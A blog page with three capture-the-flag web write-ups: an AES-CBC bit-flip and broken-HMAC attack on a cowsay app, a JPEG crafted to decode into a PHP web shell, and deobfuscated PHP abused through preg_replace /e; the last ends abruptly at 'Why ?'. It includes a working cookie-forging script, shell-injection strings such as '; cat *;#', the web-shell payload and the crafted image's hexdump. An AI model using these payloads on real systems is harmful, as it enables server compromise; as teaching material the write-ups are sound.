codezen.fr code hacking, zen coding

5Aug/13Off

ebCTF 2013 – Web400 (crypto/aes/cbc/hmac) Write-Up

Posted by aXs

This Web challenge was part of the ebCTF competition. It's actually more crypto than web. We get a simple web site driving the famous cowsay binary:

define('MY_AES_IV', CENSORED);
define('MY_AES_KEY', CENSORED);
define('MY_HMAC_KEY', CENSORED);
define("FLAG","CENSORED");

function aes($data, $encrypt) {
  $aes = mcrypt_module_open(MCRYPT_RIJNDAEL_128, '', MCRYPT_MODE_CBC, '');
  mcrypt_generic_init($aes, MY_AES_KEY, MY_AES_IV);
  return $encrypt ? mcrypt_generic($aes, $data) : mdecrypt_generic($aes, $data);
}

define('MY_MAC_LEN', 40);

function hmac($data) {
  return hash_hmac('sha1', data, MY_HMAC_KEY);
}

function encrypt($data) {
  return aes($data . hmac($data), true);
}

function decrypt($data) {
  $data = rtrim(aes($data, false), "\0");
  $mac = substr($data, -MY_MAC_LEN);
  $data = substr($data, 0, -MY_MAC_LEN);
  return hmac($data) === $mac ? $data : null;
}

$settings = array();
if (@$_COOKIE['settings']) {
  $settings = @unserialize(@decrypt(base64_decode($_COOKIE['settings'])));
}

if (@$_POST['name'] && is_string($_POST['name']) && strlen($_POST['name']) < 200) {
 
  $settings = array(
      'name' => $_POST['name'],
      'greeting' => ('cowsay ' . escapeshellarg("Hello {$_POST['name']}!")),
  );

  setcookie('settings', base64_encode(@encrypt(serialize($settings))));
}

if (@$settings['greeting']) {
  echo "<pre>\n";
  passthru($settings['greeting']);
  echo "</pre>\n";
} else {
  echo "<form action=\"?\" method=\"POST\">\n";
  echo "<p>What is your name?</p>\n";
  echo "<input type=\"text\" name=\"name\" />\n";
  echo "<input type=\"submit\" name=\"submit\" value=\"Submit\" />\n";
  echo "</form>\n";
}

Step 1: The form

Capture1

Step 2: The result

Capture2

The POST parameter is properly sanitized when passed to passthru() with the help of escapeshellargs() (works like mysql_real_escape_string() but for shell commands)

We also get a cookie with the result:

HTTP/1.1 200 OK
Set-Cookie: settings=bLuTJcHxN%2FJovq6014VC%2BT6OURs1ViK1gbHWU2sn3joRuiUb2vPpHycZYnMAFkB0D6Xh1DDByOLs879VESFEF8BPTOC8%2BOVKNoptb8uJBQqcbH2HPbkxNWq%2BMkmiNi98MC1GGoBSa66SWxTTQodPfQ%3D%3D
Content-type: text/html
Transfer-Encoding: chunked
Date: Mon, 05 Aug 2013 08:34:09 GMT

This cookie is an encrypted and signed session:

function hmac($data) {
  return hash_hmac('sha1', data, MY_HMAC_KEY);
}

function encrypt($data) {
  return aes($data . hmac($data), true);
}

$settings = array(
  'name' => $_POST['name'],
  'greeting' => ('cowsay ' . escapeshellarg("Hello {$_POST['name']}!")),
);

setcookie('settings', base64_encode(@encrypt(serialize($settings))));

So the format is:

base64 ( aes|cbc( a:2:{s:4:"name";s:3:"aXs";s:8:"greeting";s:19:"cowsay 'Hello aXs!'";} + hmac( a:2:{s:4:"name";s:3:"aXs";s:8:"greeting";s:19:"cowsay 'Hello aXs!'";} ) )

Result:

bLuTJcHxN/Jovq6014VC+T6OURs1ViK1gbHWU2sn3joRuiUb2vPpHycZYnMAFkB0D6Xh1DDByOLs879VESFEF8BPTOC8+OVKNoptb8uJBQqcbH2HPbkxNWq+MkmiNi98MC1GGoBSa66SWxTTQodPfQ==

00000000 6c bb 93 25 c1 f1 37 f2 68 be ae b4 d7 85 42 f9 |l».%Áñ7òh¾®´×.Bù|
00000010 3e 8e 51 1b 35 56 22 b5 81 b1 d6 53 6b 27 de 3a |>.Q.5V"µ.±ÖSk'Þ:|
00000020 11 ba 25 1b da f3 e9 1f 27 19 62 73 00 16 40 74 |.º%.Úóé.'.bs..@t|
00000030 0f a5 e1 d4 30 c1 c8 e2 ec f3 bf 55 11 21 44 17 |.¥áÔ0ÁÈâìó¿U.!D.|
00000040 c0 4f 4c e0 bc f8 e5 4a 36 8a 6d 6f cb 89 05 0a |ÀOLà¼øåJ6.moË...|
00000050 9c 6c 7d 87 3d b9 31 35 6a be 32 49 a2 36 2f 7c |.l}.=¹15j¾2I¢6/||
00000060 30 2d 46 1a 80 52 6b ae 92 5b 14 d3 42 87 4f 7d |0-F..Rk®.[.ÓB.O}|

Since we don't know the AES key or IV used for the encryption, all we can do is play with bitflipping in the data part of the ciphertext but then we will fail the HMAC verification and our cookie will be rejected right ?

Lets try with username "Big-Daddy":

jdTuryVcfoYRxI09MJlQ2WfAxH3vl1ECNW+8sfaPvWhzdkR2ikidt9N9AwIvjLSkEK7SMGE2J3mMWhsvHaeuzzP+QIjjWWC8i1Y7CLxyVex2Mt9xiy67+cl55mSfSGGXVBxl05PNGDQcmJ+Af1LKEXO4qw/zlaLgA4e3ZZe8lWU=

00000000 8d d4 ee af 25 5c 7e 86 11 c4 8d 3d 30 99 50 d9 |.Ôî¯%\~..Ä.=0.PÙ|
00000010 67 c0 c4 7d ef 97 51 02 35 6f bc b1 f6 8f bd 68 |gÀÄ}ï.Q.5o¼±ö.½h|
00000020 73 76 44 76 8a 48 9d b7 d3 7d 03 02 2f 8c b4 a4 |svDv.H.·Ó}../.´¤|
00000030 10 ae d2 30 61 36 27 79 8c 5a 1b 2f 1d a7 ae cf |.®Ò0a6'y.Z./.§®Ï|
00000040 33 fe 40 88 e3 59 60 bc 8b 56 3b 08 bc 72 55 ec |3þ@.ãY`¼.V;.¼rUì|
00000050 76 32 df 71 8b 2e bb f9 c9 79 e6 64 9f 48 61 97 |v2ßq..»ùÉyæd.Ha.|
00000060 54 1c 65 d3 93 cd 18 34 1c 98 9f 80 7f 52 ca 11 |T.eÓ.Í.4.....RÊ.|
00000070 73 b8 ab 0f f3 95 a2 e0 03 87 b7 65 97 bc 95 65 |s¸«.ó.¢à..·e.¼.e|

Indeed the HMAC part looks different but remember that the HMAC is AES encrypted as well so you can't rely on the ciphertext to tell if HMAC is working properly or not.

For this we need to master the Ancient Black Art of Source Code Staring. Look at this piece of code, LOOK AT IT UNTIL YOU SEE IT.

function hmac($data) {
  return hash_hmac('sha1', data, MY_HMAC_KEY);
}

Yes, there is a typo in the second parameter of hash_hmac(), it's missing the dollar sign. PHP will happily interpret this as 'data' being a fixed string instead of dynamic user content.

So basically the HMAC will always be sha1("data".MY_HMAC_KEY). Otherwise said the HMAC is not protecting the cookie content at all, we can freely modify it.

Lets take look again at the cookie content:

a:2:{s:4:"name";s:3:"aXs";s:8:"greeting";s:19:"cowsay 'Hello aXs!'";}

The "greeting" key of this array will be used directly with passthru():

passthru($settings['greeting']);

passthru() will invoke execve("/bin/sh", "-c", $cmd), so we can use Bash shell command injection technics.

What we need to do:
- Get rid of the pesky single quote after cowsay : bitflip in AES block to turn single quote into garbage
- Inject our shell command to display the content of index.php : cat *
- Get rid of another pesky single quote and the bash symbol, to avoid them being interpreted : use the Bash comment symbol: #

Playing with bitflip in AES ciphertext will corrupt the whole 16 bytes AES block with garbage so we need to align this block with the part of the string we want to destroy (cowsay + single quote)

Using a bit of trial and error we come up with this username:

______________________________________________________; cat *;#

We post it on the form and get the familiar cow and our encrypted cookie:

Capture3

Foey1ZSxpB8ouL8Z/LRCryTetO4z/rI+1h7/MAMgCHEjapwTE+5/JnDFeXR0GYjLVT+36APfX41V1Ftn2bj9fDoEri1vQtCpBzNFLpNdHa+Oei+o/vcVJmjHlklha9p4dy3fpgd6LTSCE5ejpt78cnfWD1R+90wnkUXIOPtk2P9EHngQGxsxFdJb7cT5mUhEPgXqDieO2mA0GNPFm7FRlnltgLjcO3T5JnQOdVXMRPY+GnK4aStOJXtIVfczF+FWCJEITmgZMDFmrVafG+LwPUByot8KRka57RAE8PgD8bu+ErVXpqIZwW9bOfJUD74E

We are ready for the bit-flipping with a little Python script that will repeatedly corrupt the AES block with different a value until we get one that produce garbage still good enough to be accepted by Bash as a valid command-line:

import telnetlib
import urllib
import base64

ip = '54.216.166.38'
port = 80

a = base64.b64decode(urllib.unquote("Foey1ZSxpB8ouL8Z%2FLRCryTetO4z%2FrI%2B1h7%2FMAMgCHEjapwTE%2B5%2FJnDFeXR0GYjLVT%2B36APfX41V1Ftn2bj9fDoEri1vQtCpBzNFLpNdHa%2BOei%2Bo%2FvcVJmjHlklha9p4dy3fpgd6LTSCE5ejpt78cnfWD1R%2B90wnkUXIOPtk2P9EHngQGxsxFdJb7cT5mUhEPgXqDieO2mA0GNPFm7FRlnltgLjcO3T5JnQOdVXMRPY%2BGnK4aStOJXtIVfczF%2BFWCJEITmgZMDFmrVafG%2BLwPUByot8KRka57RAE8PgD8bu%2BErVXpqIZwW9bOfJUD74E"))

for i in xrange(1,20):
    print "i=", i

    b = a[0:118] + chr(i) + a[119:]

    tn = telnetlib.Telnet(ip, port)

    s = tn.get_socket()

    payload  = "GET / HTTP/1.0\r\n"
    payload += "Host: "+ ip + "\r\n"
    payload += "Cookie: settings=" + urllib.quote(base64.b64encode(b)) + "\r\n"
    payload += "\r\n"

    s.send(payload)

    print s.recv(4096)

This will eventually spit out the index.php source code with the hidden flag.

Share
Tagged as: , , Comments Off
17Mar/13Off

ForbidenBits CTF 2013 – Web 600 IMAFREAK Write-up

Posted by aXs

This is a quick post to give my solution for the IMAFREAK challenge.

What you need to succeed:
- A JPEG file with EXIF CameraModel tag sets to ".php" so that the file is created with filename secretstoreddata/.php
- Same JPEG file with the *RAW* Red plane containing a PHP shell

As you have understood, controlling the RAW output for a color plane is quite of hard as you can't really predict how the JPEG compression model will react to your input values.

So at first, I wrote a bruteforcer that would fuzz the RGB values of input pixels until it matched what I wanted but it was really slow. I ended up manually tuning many of those values for the perfect result (=spend many hours starring in an hex editor)

So here is the beast:

red-cmd-46

Zoomed:

zoom-red-46

I swear I will make a tshirt out of this one.

Lets check that the CameralTag tag contains ".php":

$ exiftool red-cmd-46.jpg
ExifTool Version Number         : 8.15
File Name                       : red-cmd-46.jpg
Directory                       : .
File Size                       : 921 bytes
File Modification Date/Time     : 2013:03:16 21:59:41+00:00
File Permissions                : rw-r--r--
File Type                       : JPEG
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Exif Byte Order                 : Big-endian (Motorola, MM)
Camera Model Name               : .php
X Resolution                    : 1
Y Resolution                    : 1
Resolution Unit                 : None
Y Cb Cr Positioning             : Centered
Comment                         : CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 100000000.
Image Width                     : 32
Image Height                    : 1
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 32x1

Quality is over nine thousand of course.

How does the RAW Red plane looks after JPEG decoding ?

$ hexdump -C d09bf41544a3365a46c9077ebb5e35c3
00000000  3c 3f 50 48 50 20 53 59  53 54 45 4d 28 24 5f 47  |<?PHP SYSTEM($_G|
00000010  45 54 5b 30 5d 29 3b 3f  3e 03 01 00 00 00 00 00  |ET[0]);?>.......|

The full JPEG hexdump:

$ hexdump -C red-cmd-46.jpg
00000000  ff d8 ff e0 00 10 4a 46  49 46 00 01 01 00 00 01  |ÿØÿà..JFIF......|
00000010  00 01 00 00 ff e1 00 68  45 78 69 66 00 00 4d 4d  |....ÿá.hExif..MM|
00000020  00 2a 00 00 00 08 00 05  01 10 00 02 00 00 00 05  |.*..............|
00000030  00 00 00 4a 01 1a 00 05  00 00 00 01 00 00 00 50  |...J...........P|
00000040  01 1b 00 05 00 00 00 01  00 00 00 58 01 28 00 03  |...........X.(..|
00000050  00 00 00 01 00 01 00 00  02 13 00 03 00 00 00 01  |................|
00000060  00 01 00 00 00 00 00 00  2e 70 68 70 00 00 00 00  |.........php....|
00000070  00 01 00 00 00 01 00 00  00 01 00 00 00 01 ff fe  |..............ÿþ|
00000080  00 42 43 52 45 41 54 4f  52 3a 20 67 64 2d 6a 70  |.BCREATOR: gd-jp|
00000090  65 67 20 76 31 2e 30 20  28 75 73 69 6e 67 20 49  |eg v1.0 (using I|
000000a0  4a 47 20 4a 50 45 47 20  76 36 32 29 2c 20 71 75  |JG JPEG v62), qu|
000000b0  61 6c 69 74 79 20 3d 20  31 30 30 30 30 30 30 30  |ality = 10000000|
000000c0  30 0a ff db 00 43 00 01  01 01 01 01 01 01 01 01  |0.ÿÛ.C..........|
000000d0  01 01 01 01 01 01 01 01  01 01 01 01 01 01 01 01  |................|
*
00000100  01 01 01 01 01 01 01 ff  db 00 43 01 01 01 01 01  |.......ÿÛ.C.....|
00000110  01 01 01 01 01 01 01 01  01 01 01 01 01 01 01 01  |................|
*
00000140  01 01 01 01 01 01 01 01  01 01 01 01 ff c0 00 11  |............ÿÀ..|
00000150  08 00 01 00 20 03 01 22  00 02 11 01 03 11 01 ff  |.... ..".......ÿ|
00000160  c4 00 1f 00 00 01 05 01  01 01 01 01 01 00 00 00  |Ä...............|
00000170  00 00 00 00 00 01 02 03  04 05 06 07 08 09 0a 0b  |................|
00000180  ff c4 00 b5 10 00 02 01  03 03 02 04 03 05 05 04  |ÿÄ.µ............|
00000190  04 00 00 01 7d 01 02 03  00 04 11 05 12 21 31 41  |....}........!1A|
000001a0  06 13 51 61 07 22 71 14  32 81 91 a1 08 23 42 b1  |..Qa."q.2..¡.#B±|
000001b0  c1 15 52 d1 f0 24 33 62  72 82 09 0a 16 17 18 19  |Á.RÑð$3br.......|
000001c0  1a 25 26 27 28 29 2a 34  35 36 37 38 39 3a 43 44  |.%&'()*456789:CD|
000001d0  45 46 47 48 49 4a 53 54  55 56 57 58 59 5a 63 64  |EFGHIJSTUVWXYZcd|
000001e0  65 66 67 68 69 6a 73 74  75 76 77 78 79 7a 83 84  |efghijstuvwxyz..|
000001f0  85 86 87 88 89 8a 92 93  94 95 96 97 98 99 9a a2  |...............¢|
00000200  a3 a4 a5 a6 a7 a8 a9 aa  b2 b3 b4 b5 b6 b7 b8 b9  |£¤¥¦§¨©ª²³´µ¶·¸¹|
00000210  ba c2 c3 c4 c5 c6 c7 c8  c9 ca d2 d3 d4 d5 d6 d7  |ºÂÃÄÅÆÇÈÉÊÒÓÔÕÖ×|
00000220  d8 d9 da e1 e2 e3 e4 e5  e6 e7 e8 e9 ea f1 f2 f3  |ØÙÚáâãäåæçèéêñòó|
00000230  f4 f5 f6 f7 f8 f9 fa ff  c4 00 1f 01 00 03 01 01  |ôõö÷øùúÿÄ.......|
00000240  01 01 01 01 01 01 01 00  00 00 00 00 00 01 02 03  |................|
00000250  04 05 06 07 08 09 0a 0b  ff c4 00 b5 11 00 02 01  |........ÿÄ.µ....|
00000260  02 04 04 03 04 07 05 04  04 00 01 02 77 00 01 02  |............w...|
00000270  03 11 04 05 21 31 06 12  41 51 07 61 71 13 22 32  |....!1..AQ.aq."2|
00000280  81 08 14 42 91 a1 b1 c1  09 23 33 52 f0 15 62 72  |...B.¡±Á.#3Rð.br|
00000290  d1 0a 16 24 34 e1 25 f1  17 18 19 1a 26 27 28 29  |Ñ..$4á%ñ....&'()|
000002a0  2a 35 36 37 38 39 3a 43  44 45 46 47 48 49 4a 53  |*56789:CDEFGHIJS|
000002b0  54 55 56 57 58 59 5a 63  64 65 66 67 68 69 6a 73  |TUVWXYZcdefghijs|
000002c0  74 75 76 77 78 79 7a 82  83 84 85 86 87 88 89 8a  |tuvwxyz.........|
000002d0  92 93 94 95 96 97 98 99  9a a2 a3 a4 a5 a6 a7 a8  |.........¢£¤¥¦§¨|
000002e0  a9 aa b2 b3 b4 b5 b6 b7  b8 b9 ba c2 c3 c4 c5 c6  |©ª²³´µ¶·¸¹ºÂÃÄÅÆ|
000002f0  c7 c8 c9 ca d2 d3 d4 d5  d6 d7 d8 d9 da e2 e3 e4  |ÇÈÉÊÒÓÔÕÖ×ØÙÚâãä|
00000300  e5 e6 e7 e8 e9 ea f2 f3  f4 f5 f6 f7 f8 f9 fa ff  |åæçèéêòóôõö÷øùúÿ|
00000310  da 00 0c 03 01 00 02 11  03 11 00 3f 00 fc 10 d0  |Ú..........?.ü.Ð|
00000320  7f e3 e3 e1 97 fd 8d 73  7f ea 1f f1 2a a2 f1 07  |.ããá.ý.s.ê.ñ*¢ñ.|
00000330  fc 95 1f 04 7f d7 8f c4  ef fd 56 e9 45 15 fc eb  |ü....×.ÄïýVéE.üë|
00000340  0f f7 ac 17 fd 93 b9 f7  fe ad 33 83 d6 7f 0c ff  |.÷¬.ý.¹÷þ­3.Ö..ÿ|
00000350  00 eb f5 2f fd 37 44 e5  fe 24 7d cf 0a 7f dd 3a  |.ëõ/ý7Dåþ$}Ï..Ý:|
00000360  ff 00 d3 7f c6 6a fc 53  f8 9d ff 00 25 27 e2 17  |ÿ.Ó.ÆjüSø.ÿ.%'â.|
00000370  fd 8f 1e 2c ff 00 d3 f6  a1 45 15 fd 3f 9c ff 00  |ý..,ÿ.Óö¡E.ý?.ÿ.|
00000380  c8 d7 37 ff 00 b0 fa 3f  fa aa cb cd 33 3f f7 7c  |È×7ÿ.°ú?úªËÍ3?÷||
00000390  37 f8 aa 7f e9 75 0f ff  d9                       |7øª.éu.ÿÙ|
Share
19Oct/12Off

HackYou CTF – Web 300 – RNG of Ultimate Security Writeup

Posted by aXs

Web challenge.

We have the "source code" and we know the location of the flag:

<!-- can't touch this: http://securerng.misteryou.ru/flag.txt.gz -->
<!-- can touch this: http://securerng.misteryou.ru/index.php.txt -->

The web page is simple form to generate pseudo-random numbers. Here is the form:

    <form method='POST'>
      Enter the seeds for random number generation, one by line:<p/>
      <textarea name='rng_seeds' cols=50 rows=10>1455592514
1816609169
1284133797
66671252
462888992
</textarea><p/>
      <input type='hidden' name='rng_algorithm' value='5368413128644154652843527950542843524333322873545252655628414273282431255371725428655850284558702870492829292929292929292929' />
      <input type='submit' value='Generate &raquo;' />
    </form>

The RNG "algorithm" is passed in the form in the rng_algorithm POST variable, let's decode it:

ShA1(dATe(CRyPT(CRC32(sTRReV(ABs($1%SqrT(eXP(EXp(pI())))))))))

Looks like a preg_replace pattern with variable $1.

Let's zoom on the obfuscated PHP source code:

<?php

${b("ee3ab0f9421ce0feabb4676542993ab3")} = b("9a8890a6434cd24e876d687bcaf63b40218f525c");
${b("a7d2546914126ca18ca52e3205950070")} = b("c74b0811f86043e9aba0c1d249633993");
${b("116fe81df7d030c1e875745f97f9f138")} = b("6da187003b534e740a777e");
${b("a3bfe0d3698e1310cce7588fbab15dbe")} = b("f19e6937d9080f346a01");
${b("39ebc7035a36015274fdb7bf7c1b661e")} = b("336f2f8b0f837cf318");
${b("66711d77210b4193e5539696d4337127")} = b("283101ccbc823b56");
${b("d1cb34796276edb85d038ee75671cf4b")}(b("82c84c7312d7a17c4df032fc53b96a6eadeacc6624ca8d4763c855a11cb92226a8e3930f10fbef132e844b9062f07676a5b8a02569d68a552ef107d87ff4636ea5a6a10e4d83975a7add578362f07676a5b8ff610ed6d91c66c10ac82894083ae0ba90044a8fdb3e04844b8c36a56a29fed29a0e0ebb8a407a8438c975ec707fe0d4bc2c0e9f8b137acc0e8c41f67076a4badd031dc8e8392e844b8c2ab82f37e0e593050982c54761d108c436ed6a73b3bcd2035a829509218b18c975ec707fb2e89545439f96476bd612c363b7706fefe09e0a49d8914b7a8a0cd636b42f24cd8cd24b0ed6d91223894bcf77f7226eaff391030e828d5a7d9e4bc462ed7220efa9810e4d8397567cca0c827bf0716ea5f48b045bd8974621cd05c873e12c6aa8f6dc1f5682c51e239a66a636b9223afce09d1943d688567acc04c82bbe525593d2d55523fcc5132e844b8c53f7767fb2a686034bd696566bc0188c70f6703ab2e79c0f419bc55d7bc909c964b9657faee3800a5a9f8a5d228404c273b96063e0ea9b054bccd943219a66a636b9223ae0a6ce1f4b8e91527cc10a8c78f86f7ffda1800549a996566bc0188b36fa6d76b3bbc75b0e848a447d995a9c28"));
if (${b("6c74ed82b97f6c415a83aa0aa8baf8d1")}(b("3d7e368111b63c72515d5d46b1"), ${b("eb717d90b3287b1fbd")})) {
    ${b("532194e0380d7a29761eb0b215b4168d")} = ${b("cb3911f75937342f3b")}[b("2daec48e9ce64f696075279dff")];
    ${b("f877261be92e25500a601f21ab4cfa84")} = ${b("507c24291c22ba245b")}[b("398058b936ce0090a90f349a298ae06b96")];
    ${b("dbcffbbeb2632a6e6c6f84ac52064768")} = b("ac51a58253c0a511c9dc9cafd2490c5bd490ccb550c6a111c9de9aacd7480f5fd595cbb952c0a61bc9de9cadd3430857d792ccb553c1a61bcbd89aa8d2490e5ed493ceb254cba11dcedc9dabd5420d5ed793ccb554cba51cc8d59aaed2490e5ad599ceb154cba419c9d49da6d2480856d298cbb854caa110cfd49da7d2480856");
    if (${b("2e272b48041e04ef643cc8624445f2a0")} != ${b("6a24556aba8e247fa9d27de3bed53586")})
        ${b("baee65eb837f2005a229dc821e06b2d9")}(b("d226cbb39ee6930cbddd02ea8b7a2913b7d8a98b9df6850ce79803"));
    else
        ${b("966fd744cb7b26253a2d2e10d4f86ceb")}(${b("ee2d11ebf1e0953de1b3cd330bf63b45")}(b("ef1a9b31679b8ed9faa81647e89a674234"), ${b("6e9dca05952d2364621f20fd1177a04c")}(b("99b85fb97c17"), ${b("b9c7fb42fb9760cf9f90bdc23dcac2e6")}), ${b("532194e0380d7a29761eb0b215b4168d")}));
} else {
    foreach (${b("ff38daff4156b41b58d2ecfb70e4bc6b")}(b("cd248b6cb8"), b("94a8be1778")) as $_)
        ${b("c30cddb21a8c75cc8e45d9fc34655c09")}(${b("9946a48e60730e4ca59fc82e0562fca1")}() . b("f975de3ba2"));
}
${b("88a0090aa5d28c97de682ff340fc340b")}(b("3812ce7d43f003a4010d64890674a759b78a30aa75ff57e1595925c70a7be910b3857ade0fba4ae61110619f067bbe45a9c463c242f805af1e266497047aeb0cb3cd63805fa916ad0c1c38dc5626af5df3943d964de741f54d4830cf5520ab5df3963b9548e642f14c4d37c35726ac57f3963d944ced45f94e4a30cf5627ac57f1903b914de743f04d4b32c8512dab51f4943c924aec40f04e4b30cf512daf50f29d3b974de743f44c4132cb512dae55f39c3c9f4de645f84b4037c2512cab5cf59c3c9e4de645f85e592ac56e1fb945e7852e8743b619b10c0d258f1a65fc58e0d67bc512b603e6590f64971670a44280c060c20dbe03a4595f779a1260f65ee085219972d557e1595939d4057aeb08f9a8048743f015ae1d003bf66929b60db3c86299"));
function b($b)
{
    return eval(Ü瑈©²ÓÒœÄ ¬žó¶é²îŒ–‰…ú í©¦Î²Œ×ª±§èù伦¡®Óð¿¿àšÒ ڊоßÁÜ•ï͵þë™Ä–þ¶±¤³ŒÀåòÈàÙ¡‰¿¸–¦õðö̼Š‰ßº‘ìØÚåàÇЁÑ‘ÊÛ‰âä þŠéÁÔÛ’ÈÕÑ Ï„ªüä±µÑÛÏÉ ^ ®‚åýÛÜó¡è¶ÿÞûƒÓˆÆÆáò¼­‰ÕÚÒ¼š´îûšŸÁՐÎÓć­°•ÖÓȲ¡Ô¨æµÐ÷å¾¼ÂõœÑÚ¯í¿ ÆÐþÏ›®œÆð¼¡Ü؍úÊÚåÒ‡ØÒ®² ö);
}

Looks a lot like obfuscated javascript. The string decode is function b. Function b is an eval function and a funny looking binary string.

What does this string do ?

Using the Vulcan Logic Decompiler (php opcode disassembler) :

line     # *  op                           fetch          ext  return  operands
---------------------------------------------------------------------------------
   3     0  >   EXT_STMT                                                
         1      FETCH_CONSTANT                                   ~0      '%DC%E7%91%88%A9%B2%D3%D2%9C%C4%A0%AC%9E%F3%B6%E9%B2%EE%8C%96%89%85%FA%A0%ED%A9%A6%CE%B2%90%8C%D7%AA%B1%A7%E8%F9%E4%BC%A6%A1%AE%81%D3%F0%BF%BF%E0%9A%D2%A0%DA%8A%D0%BE%DF%C1%DC%95%EF%CD%B5%FE%EB%99%C4%96%FE%B6%B1%9D%A4%B3%8C%C0%E5%F2%C8%E0%D9%EE%AF%8A%A1%89%BF%B8%96%A6%F5%F0%F6%CC%BC%8A%89%DF%BA%91%EC%D8%DA%E5%E0%C7%D0%81%8F%D1%91%CA%DB%89%E2%E4%A0%FE%8A%E9%C1%D4%DB%92%C8%D5%C3%91%A0%CF%84%8F%AA%FC%E4%B1%B5%D1%DB%CF%C9'
         2      FETCH_CONSTANT                                   ~1      '%AE%82%E5%FD%DB%DC%F3%A1%E8%B6%FF%DE%FB%83%D3%88%C6%C6%E1%F2%BC%AD%89%D5%8F%DA%D2%BC%9A%B4%EE%FB%9A%9D%9F%C1%D5%90%CE%D3%C4%87%AD%B0%95%D6%D3%C8%B2%A1%D4%A8%E6%B5%D0%F7%E5%BE%BC%C2%F5%9C%D1%DA%AF%ED%BF%A0%C6%D0%FE%CF%9B%AE%9C%9D%C6%F0%BC%A1%DC%CE%A8%8D%FA%CA%DA%E5%D2%87%D8%D2%AE%90%B2%A0%F6%81'
         3      BW_XOR                                           ~2      ~0, ~1
         4      FREE                                                     ~2
   5     5    > RETURN                                                   1

I don't quite explain myself yet how this binary string ends up being executed by the Zend parser yet but I know enough to reproduce the decryption in Cryptool, xoring hex string 1 with hex string 2:

return str_repeat(md5(substr($b,0,8),true),ceil((strlen($b)-8)/16))^pack("\x48\x2a",substr($b,8));

So this is function b. Now we can write a python script that will unobfuscate the string for us:

import hashlib
from Crypto.Cipher import XOR

file = open("web300.strings")

source = open("web300.txt").read()

for line in file:
  s = line.strip()
  key = s[0:8]
  cipher = s[8:]
  m = hashlib.md5()
  m.update(key)
  hash = m.digest()
  obj=XOR.new(hash)
  plain = obj.decrypt(cipher.decode("hex"))
  print key, plain
  source = source.replace("b(\"" + s + "\")", plain)

print source

Result:

${Gjx7QbQ4l3EL}=array_key_exists;${USVuYTejL3cA}=preg_replace;${lRzbPV0GVCmL}=mt_rand;${eU3WOwVfyB2j}=printf;${MFBEFx3icClz}=range;${KytnuQGCMhPA}=pack;${eU3WOwVfyB2j}(<!DOCTYPE html>
<html>
  <head>
    <title>RNG of Ultimate Security</title>
  </head>
  <body>
    <h3>The Most Secure RNG in the World</h3>
    <!-- can't touch this: http://securerng.misteryou.ru/flag.txt.gz -->
    <!-- can touch this: http://securerng.misteryou.ru/index.php.txt -->
    <form method='
POST'>
      Enter the seeds for random number generation, one by line:<p/>
      <textarea name='
rng_seeds' cols=50 rows=10>);if(${Gjx7QbQ4l3EL}(rng_seeds,${_POST})){${LhfnDi9VtrJM}=${_POST}[rng_seeds];${aKRml6aSjmxW}=${_POST}[rng_algorithm];${SBBTqFwnO6s5}=5368413128644154652843527950542843524333322873545252655628414273282431255371725428655850284558702870492829292929292929292929;if(${aKRml6aSjmxW}!=${SBBTqFwnO6s5})${eU3WOwVfyB2j}(wuut?! hacker detected!);else${eU3WOwVfyB2j}(${USVuYTejL3cA}(#\b(\d+)\b#se,${KytnuQGCMhPA}(H*,${aKRml6aSjmxW}),${LhfnDi9VtrJM}));}else{foreach(${MFBEFx3icClz}(1,5)as$_)${eU3WOwVfyB2j}(${lRzbPV0GVCmL}().
);}${eU3WOwVfyB2j}(</textarea><p/>
      <input type='
hidden' name='rng_algorithm' value='5368413128644154652843527950542843524333322873545252655628414273282431255371725428655850284558702870492829292929292929292929' />
      <input type='
submit' value='Generate &raquo;' />
    </form>
 </body>
</html>);

Much better but we still have a second layer of obfuscation, let's remove it using some simple search/replace in vim:

printf(<!DOCTYPE html>
<html>
  <head>
    <title>RNG of Ultimate Security</title>
  </head>
  <body>
    <h3>The Most Secure RNG in the World</h3>
    <!-- can't touch this: http://securerng.misteryou.ru/flag.txt.gz -->
    <!-- can touch this: http://securerng.misteryou.ru/index.php.txt -->
    <form method='
POST'>
      Enter the seeds for random number generation, one by line:<p/>
      <textarea name='
rng_seeds' cols=50 rows=10>);

if(array_key_exists(rng_seeds,${_POST})){

  if(${_POST}[rng_algorithm]!=5368413128644154652843527950542843524333322873545252655628414273282431255371725428655850284558702870492829292929292929292929)
    printf(wuut?! hacker detected!);
  else
    printf(preg_replace(#\b(\d+)\b#se,pack(H*,${_POST}[rng_algorithm]),${_POST}[rng_seeds]));
}
else
{
  foreach(range(1,5) as $_) printf(mt_rand().);
}

printf(</textarea><p/>
      <input type='
hidden' name='rng_algorithm' value='5368413128644154652843527950542843524333322873545252655628414273282431255371725428655850284558702870492829292929292929292929' />
      <input type='
submit' value='Generate &raquo;' />
    </form>
 </body>
</html>);

Nice! preg_replace with an "e" (execute) modifier but:
- the pattern will only match decimal number (\d+) so we can't use the classic attack of passing a PHP function in rng_seeds and getting it executed by the "e" modifier.
- there is a "security check" on the content of rng_algorithm so we cannot replace directly this hex string with our own php code

Now take a closer look on the security check. The huge hex string is not actually a string.. it's missing quotes! So PHP will interpret it as a number.. but PHP is not very good with huge numbers if you don't use the special BigInt functions. Let's verify this:

$ php -a
Interactive shell

php > $a = 5368413128644154652843527950542843524333322873545252655628414273282431255371725428655850284558702870492829292929292929292929;
php > echo $a;
5.3684131286442E+123

The number is truncated to 5368413128644200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

So we can replace anything after 5368413128644154, PHP won't be able to properly compare it with the reference numbers.

Now please notice something: in order to be a valid number, this hex string cannot contains letters! So we can only use characters using the [0-9] pattern.

This severely restrict which php functions and characters we can use. I wrote a simple script to dump all built-in PHP function names that were only numbers when converted to hex:

$funcs = get_defined_functions();

foreach($funcs['internal'] as $func)
{
  $l = '';
  $i = 0;
  while($i < strlen($func))
  {
    $l .= dechex(ord($func[$i++]));
  }
  if (is_numeric($l) && !strpos($l, 'e'))
  {
    print $func . ' = ' . $l . PHP_EOL;
  }
}

Result:

$ php func.php
each = 65616368
date = 64617465
idate = 6964617465
getdate = 67657464617465
ereg = 65726567
eregi = 6572656769
bcadd = 6263616464
...

So we need to keep "5368413128644154" at the beginning of the number which is hex for "ShA1(dAT"

The flag is in the flag.txt.gz file.

I settled on the following code:

ShA1(dATe(passthru('cat `dir`')))

Why ?

